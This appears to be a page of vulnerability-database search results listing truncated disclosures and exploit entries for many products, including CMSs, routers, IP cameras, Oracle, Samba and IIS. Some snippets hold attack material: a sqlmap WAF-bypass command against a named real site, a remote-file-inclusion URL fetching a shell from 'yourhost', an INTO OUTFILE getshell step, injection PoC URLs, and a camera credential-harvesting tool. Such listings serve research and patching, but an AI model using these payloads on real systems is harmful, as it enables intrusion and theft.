56796 matches found
TurboMail 前台sql注入漏洞
简要描述： 前台注入存在注入，可查看管理员密码甚至getshell。 详细说明： 0x1 前台注入 turbomail\web\webapps\ROOT\enterprise\noteadd.jsp: ... UserInfo userinfo = ms.userinfo; if userinfo == null XInfo.gotoInfoms,request,response,"info.loginfail",null,0; return; String id = request.getParameter"id";//id参数传入，没有过滤 Note note = null;...
Swagger 通过参数注入远程代码执行漏洞
详情来源： R7-2016-06 This disclosure will address a class of vulnerabilities in a Swagger Code Generator in which injectable parameters in a Swagger JSON or YAML file facilitate remote code execution. This vulnerability applies to NodeJS, PHP, Ruby, and Java and probably other languages as well. Othe...
青果教务系统 /xsweb/pub/temp.aspx nj参数SQL注入漏洞
存在漏洞的文件：/xsweb/pub/temp.aspx?type=ajax&fellowXh=wooyun 该系统有waf的防御，只需要使用--tamper参数即可绕过，继续注入 sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/temp.aspx?type=menu&nj=wooyun" --tamper "equaltolike.py" --dbms mssql...
用友GRP-U8 财务管理软件userInfoWeb接口敏感信息泄露漏洞
No description provided by source...
Oracle MySQL Server 'InnoDB'子组件远程安全漏洞(CVE-2013-0368)
BUGTRAQ ID: 57397 CVECAN ID: CVE-2013-0368 Oracle MySQL Server是一个轻量的关系型数据库系统。 Oracle MySQL Server 5.5.28及更早版本存在远程安全漏洞，可通过'MySQL Protocol'协议利用此漏洞。'InnoDB'子组件受到影响。通过身份验证的远程攻击者可利用此漏洞进行攻击从而影响MySQL Server的可用性。 0 Oracle MySQL Server = 5.5.28 厂商补丁： Oracle ------...
WeBid 0.7.3 RC9 (upldgallery.php) Remote File Upload Vulnerability
No description provided by source. ----------------------------------------------------------------------------------------- Author : Ahmad Pay Date : March, 25 2009 Location : Bojonegoro, Indonesia Critical : High Impact : System Access Where : From Remote...
Toshiba Surveillance (MeIpCamX.DLL 1.0.0.4) Remote BOF Exploit
No description provided by source. !-- Toshiba Surveillance Surveillix RecordSend Class MeIpCamX.DLL 1.0.0.4 remote buffer overflow exploit IE7/xpsp2 a demo camera: http://wb02-demo.surveillixdvrsupport.com/Ctl/index.htm?Cus?Audio codebase: http://wb02-demo.surveillixdvrsupport.com/Ctl/MeIpCamX.c...
beescms4.0 一处任意文件上传漏洞#3
No description provided by source...
phpwind 7.5 apps/share/index.php远程包含漏洞
PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。 Zoomeye Dork apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码 ?php if $route == "share" requireonce $basePath . '/action/mshare.php'; elseif $route == "sharelink" requireonce...
Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit
No description provided by source. ypk.c: /update: kcope/year2008/tested on SunOS 5.10// KEYSERV/YPUPDATED SunOS 4.1.3/RPC SERVICES ...
Oracle (oidldapd connect) Local Command Line Overflow Exploit
No description provided by source. / Exploit Code for oidldapd in Oracle 8.1.6 8ir2 for Linux. I tested in RH 6.2 and 6.1. This code is a bullshit i know please no comments about ;-. If someone exports this to Sparc please tell me. synopsis: buffer overflow in oidldapd...
Spring Security Oauth remote code execution vulnerability
Author: p0wd3r 知道创宇404安全实验室 Date: 2016-10-17 0x00 漏洞概述 1.漏洞简介 Spring Security OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个升级公告，主要说明在用户使用Whitelabel views来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。 2.漏洞影响 授权状态下远程命令执行 3.影响版本 2.0.0 to 2.0.9 1.0.0 to 1.0.5 0x01 漏洞复现 1. 环境搭建 bash...
Joomla extended_registration组件远程文件包含漏洞
extendedregistration是Mambo（也被称为Joomla）中提供扩展注册支持的组件。 extendedregistration组件在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。 extendedregistration组件没有正确地验证mosConfigabsolutepath参数数据的输入，允许攻击者通过包含本地或外部资源任意文件导致执行任意PHP代码。admin.extendedregistration.php文件中漏洞代码如下： ?php require"../configuration.php"; functi...
Denver Smart Wifi Camera SHC-150 - 'Telnet' 远程代码执行漏洞
Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution RCE Date: 27 July 2021 Exploit Author: Ivan Nikolsky enty8080 Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824 Version: Denver SHC-150 all firmware versions Tested o...
PHPOK最新版前台SQL注入漏洞(可直接获取管理员密码)
简要描述： PHPOK最新版前台某功能存在SQL注入漏洞，可直接UNION注入获取管理员密码 详细说明： PHPOK4.1最新版（2014-08-18更新） 官网：http://www.phpok.com/phpok.html 官网演示站点：http://demo.phpok.com 这里先整理下PHPOK系统的前台数据处理流程: /framework/api/apicontrol.php = /framework/phpokcall.php = /framework/model/data.php PHPOK系统在前台获取“文章总数”的功能实现上存在SQL注入漏洞。...
苹果CMS全版本getshell打包第一弹
简要描述： 苹果CMS全版本后台getshell打包 苹果cms官网http://www.maccms.com/ 详细说明： 漏洞一后台模板任意后缀文件 chrome审查元素吧value里的.html改成.php 拿到shell 漏洞2后台任意上传文件 视频管理里文件头部添加gif89a任意上传后缀文件 漏洞3包路径+执行数据库拿shell 获得路径+mysql 执行 select ''INTO OUTFILE 'E:\PHPnow...
Samba格式串和安全绕过漏洞
Bugraq ID: 35472 CVE ID：CVE-2009-1888 CVE-2009-1886 CNCVE ID：CNCVE-20091888 CNCVE-20091886 Samba是一款实现SMB协议、跨平台进行文件共享和打印共享服务的程序。 Samba存在格式串和安全绕过问题，远程攻击者可以利用漏洞以应用程序权限执行任意指令。 -Samba 3.0.31 - 3.3.5中的smbd守护程序包含一个未初始化数据值读取问题，可影响访问控制。如果用户尝试修改访问拒绝权限的控制列表时，如果在smb.conf中设置"dos...
Microsoft IIS文件更改通知本地权限提升漏洞（MS08-005）
BUGTRAQ ID: 27101 CVECAN ID: CVE-2008-0074 Microsoft Internet信息服务（IIS）是Microsoft Windows自带的一个网络信息服务器，其中包含HTTP服务功能。 IIS处理FTPRoot、NNTPFile\Root和WWWRoot文件夹中文件变化通知的方式存在本地权限提升漏洞，成功利用这个漏洞的攻击者可以在本地系统安全环境中执行任意指令。 Microsoft IIS 7.0 Microsoft IIS 6.0 Microsoft IIS 5.1 Microsoft IIS 5.0 临时解决方法： 在Windows...
AVTECH {DVR/NVR/IPC} IPCP API RCE
!/usr/bin/env python2.7 SOF Subject: AVTECH DVR/NVR/IPC IPCP API admin l/p, RCE 2018 bashis Attack vector: Remote Authentication: Anonymous no credentials needed Researcher: bashis March 2018 Authenticated Reverse Shell; Using admin l/p that we can retrieve with unauthenticated and undocumented...
Aardvark Topsites PHP <= 4.2.2 (path) Remote File Inclusion Vuln
No description provided by source. Title: Aardvark Topsites PHP 4.2.2 remote file inclusion URL: http://www.aardvarktopsitesphp.com/ Dork: Powered By Aardvark Topsites PHP 4.2.2 Exploit: /sources/join.php?FORMurl=owned&CONFIGcaptcha=1&CONFIGpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-...
Oracle HTTP Server - XSS Header Injection
No description provided by source. --------------------------------------------------------------------------------------------------------- Oracle HTTP Server XSS Header Injection --------------------------------------------------------------------------------------------------------- Attack...
Apache mod_proxy_ftp模块空指针引用拒绝服务漏洞
BUGTRAQ ID: 36260 CVE ID: CVE-2009-3094 Apache HTTP Server是一款流行的Web服务器。 Apache的modproxyftp模块中modules/proxy/proxyftp.c文件的approxyftphandler函数中存在空指针引用漏洞，正在被代理的恶意FTP服务器可以通过发送特制的EPSV或PASV命令回复导致httpd子进程崩溃，造成有限的拒绝服务。 Apache Group Apache 2.2.x 厂商补丁： Apache Group ------------...
Novell eDirectory 8.8 Long URI iMonitor Buffer Overflow Exploit (meta)
No description provided by source. This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artisti...
PHP CVE-2018-5711 - Hanging Websites by a Harmful GIF
Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities. This is an simple and interesting case, and seems easy to exploit in real world! Affected All PHP version PHP 5 firstcode = sd-oldcode = 461 GetCodefd, &sd-scd, sd-codesize, FALSE,...
Cisco ASA Remote Code Execution （CVE-2016-1287）
Remote Code Execution on Cisco ASA A year ago ExodusIntel disclosed a vulnerability affecting the IKE implementation in Cisco’s ASA products. The error is due to an overflow in the checking of reassembled IKE fragments, and allows remote code execution from an unauthenticated attacker. More...
AnyMacro邮件系统 login.php POST参数F_email SQL注入漏洞
No description provided by source...
Softbiz Auktios Script Multiple SQL Injection Vulnerabilities
No description provided by source. ----------------------------Information------------------------------------------------ +Name : softbiz auktios script sql injection viewitems.php +Autor : Easy Laster +Date : 24.02.2010 +Script : softbiz auktios script +Download : ----- +Demo : http://ezpips.co...
Apache APR 'apr_fnmatch()'拒绝服务漏洞
gtraq ID: 47820 CVE ID：CVE-2011-0419 Apache APR-util是一款可移植运行库，全名为Apache Portable Runtime。 当处理某些模式时"aprfnmatch"函数存在循环递归错误，通过提交包含通配符如""的特制请求时可触发基于栈的溢出 Apache APR 1.x 厂商解决方案 Apache Software Foundation APR 1.4.4 已经修复此漏洞，建议用户下载使用： http://www.apache.org/dist/apr/CHANGES-APR-1.4...
Cisco IOS and IOS XE Software Cluster Management Protocol Remote Code Execution Vulnerability (CVE-2017-3881)
详情来源：https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/ Do you still have telnet enabled on your Catalyst switches? Think twice, here’s a proof-of-concept remote code execution exploit for Catalyst 2960 switch with latest suggested firmware. Check out the exploit code here. What...
Microsoft Outlook Web Access for Exchange Server 2003 'redir.asp' URI Redirection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/31765/info Outlook Web Access is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input. A successful exploit may aid in phishing attacks. OWA 6.5 SP 2 is...
BIND 9.4.1-9.4.2 - Remote DNS Cache Poisoning Flaw Exploit (meta)
No description provided by source. / \ / \ | | | | ----====/ /\/ /\ | || |====---- | | | || | | | | | | | | | | | | | ------======\ / /| || || || |======------ / || || / Computer Academic Underground http://www.caughq.org Exploit Code...
08CMS info.php 参数tblprefix SQL注入漏洞
0x01影响范围 08cms广泛应用于汽车、房产系统。厂商： http://www.08cms.com/ 08cms 谷歌关键字用户量很大： 0x02漏洞描述 08cms在文件info.php处对参数tblprefix过滤不严格，导致出现SQL注入漏洞。远程攻击者可以构造SQL语句，执行恶意操作。 0x03漏洞详情 SQL注入点： /info.php?fid=1&tblprefix=cmsmsession tblprefix存在注入 0x04漏洞证明 可以构造如下poc进行利用： http://.com/info.php?fid=1&tblprefix=cmsmsession where...
Libsys图书管理系统 V5.5 变量覆盖漏洞
登陆页面 sessionstart ; if isset $REQUEST'username' $strUser = trim $REQUEST'username' ; $strInput = trim $REQUEST'passwd' ; $strMsg = "用户名或者密码错误"; switch $strUser case "opacadmin" : $strPassWd = $strPassWdFile; $strMsg = verifypwd $strInput, $strPassWd ; if $strMsg == true $SESSION'ADMINUSER' =...
万户OA defaultroot/download_ftp.jsp 任意文件下载漏洞
No description provided by source...
Coppermine Photo Gallery变量内容重写漏洞
Coppermine是用PHP编写的多用途集成Web图形库脚本。 Coppermine Photo Gallery处理用户请求数据时存在漏洞，远程攻击者可能利用此漏洞上传PHP脚本文件从而控制应用系统。 系统的include/init.inc.php脚本在过滤处理全局变量时存在问题，远程攻击者可以据此绕过安全限制上传任意脚本文件实现命令执行。要利用此漏洞需要系统的PHP打开registerglobals选项。 Coppermine Photo Gallery 1.x Coppermine Photo Gallery 临时解决方法：...
mozilla-thunderbird多个安全漏洞
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mandriva Linux Security Advisory MDVSA-2009:217-1 http://www.mandriva.com/security/ Package : mozilla-thunderbird Date : August 23, 2009 Affected: 2009.1 Problem Description: A number of security vulnerabilities have...
ClipShare Pro 2006-2007 (chid) SQL Injection Vulnerability
No description provided by source. ================================================================================================================== SSSSS NN N AA K K EEEEE SSSSS TTTTTTTTT EEEEE AA MM MM S N N N A A K K E S T E A A M M M M SSSSS N N N AAAAAA KKK EEEEE SSSSS T EEEEE AAAAAA M M M ...
D-LINK DIR-3040 Libcli 命令注入漏洞(CVE-2021-21819)
The DIR-3040 is an AC3000-based wireless internet router. As discussed in TALOS-2021-1285, a hidden telnet service can be started without authentication by visiting https:///starttelnet This service presents the user with a login prompt for their “libcli test environment”: $ telnet 192.168.0.1...
Foscam IP Video Camera Firmware Recovery Unsigned Image Vulnerability(CVE-2017-2871)
Summary Insufficient security checks exist in the recovery procedure used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. An attacker who is in the same subnetwork of the camera or has remote administrator access, can fully compromise the device by performing a firmware...
PHP-CGI远程任意代码执行漏洞
CVE ID: CVE-2012-1823 PHP是一种HTML内嵌式的语言，PHP与微软的ASP颇有几分相似，都是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格有类似于C语言，现在被很多的网站编程人员广泛的运用。可以被各种Web服务器以多种方式调用，实现动态网页的功能。 PHP处理参数的传递时存在漏洞，在特定的配置情况下，远程攻击者可能利用此漏洞在服务器上获取脚本源码或执行任意命令。 当PHP以特定的CGI方式被调用时（例如Apache的modcgid），php-cgi接收处理过的查询格式字符串作为命令行参数，允许命令行开关（例如-s、-d...
Geeklog <= v1.6.0sr2 - Remote File Upload
No description provided by source. ============================================================================== Geeklog = v1.6.0sr2 - Remote File Upload Discovered: JaL0h Software Site: http://www.geeklog.net Dork: "By Geeklog" "Created this page in" +seconds +powered...
Nibbleblog 4.0.3 admin.php CSRF
No description provided by source. this." document.getElementById"myForm".submit;...
TP-LINK Model No. TL-WR340G / TL-WR340GD - Multiple Vulnerabilities
No description provided by source. Title: TP-LINK Model No. TL-WR340G/TL-WR340GD - Multiple Vulnerabilities Date: 01.07.14 Vendor: TP-LINK Affected versions: TL-WR340G/TL-WR340GD Tested on: Firmware Version - 4.3.7 Build 090901 Rel.61899n, Hardware Version - WR340G v5 081520C2 at Linux Contact:...
NETSCRAPED EXPLOIT TOOL
NETSCRAPED EXPLOIT TOOL Author: @037 This tool allows you obtain all the credentials stored on Netwave IP cameras Prerequisites You need installed is Python 3.x apt-get install python3 You also require to have Shodan module installed pip install shodan You need cURL for this to work as well apt-g...
Oracle MySQL Server 'Server'子组件远程安全漏洞(CVE-2012-0574)
BUGTRAQ ID: 57414 CVECAN ID: CVE-2012-0574 Oracle MySQL Server是一个小型关系型数据库管理系统。 Oracle MySQL Server 5.1.66、5.5.28及更早版本存在远程安全漏洞，此漏洞可通过'MySQL Protocol'协议加以利用，'Server'子组件受到影响。通过身份验证的远程攻击者可利用此漏洞造成影响可用性。 0 Oracle MySQL Server = 5.5.28 Oracle MySQL Server = 5.1.66 厂商补丁： Oracle ------...
Coppermine Photo Gallery 1.4.19 Remote PHP File Upload Vulnerability
No description provided by source. Written By Michael Brooks Special thanks to str0ke! Coppermine Photo gallery - Remote PHP File Upload Affects: v1.4.19 Homepage: http://coppermine-gallery.net/ 5,239,057 downloads from sf.net! For this attack we need registerglobals=on . The problem is that the...
Microsoft Windows CSRSS CSRFinalizeContext本地特权提升漏洞
Microsoft Windows是一款商业性质的操作系统。 Microsoft Windows客户端/服务端实时子系统处理错误消息存在问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 攻击者通过构建特殊的应用程序来触发此漏洞，可导致对应用程序进行拒绝服务攻击。目前没有详细漏洞细节提供。 Microsoft Windows Vista x64 Edition 0 Microsoft Windows Vista Ultimate Microsoft Windows Vista Home Premium Microsoft Windows Vista Home Basic...
Joomla Webring Component <= 1.0 Remote Include Vulnerability
No description provided by source. C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir. "mungdocs.class.php"; Google...
ArticleBeach Script <= 2.0 (index.php) Remote File Inclusion Vulnerability
No description provided by source. ------------------------------------------------------------------------------ ArticleBeach Script = 2.0 page Remote File Inclusion Vulnerability ------------------------------------------------------------------------------ Author : Zeni Susanto a.k.a Bithedz...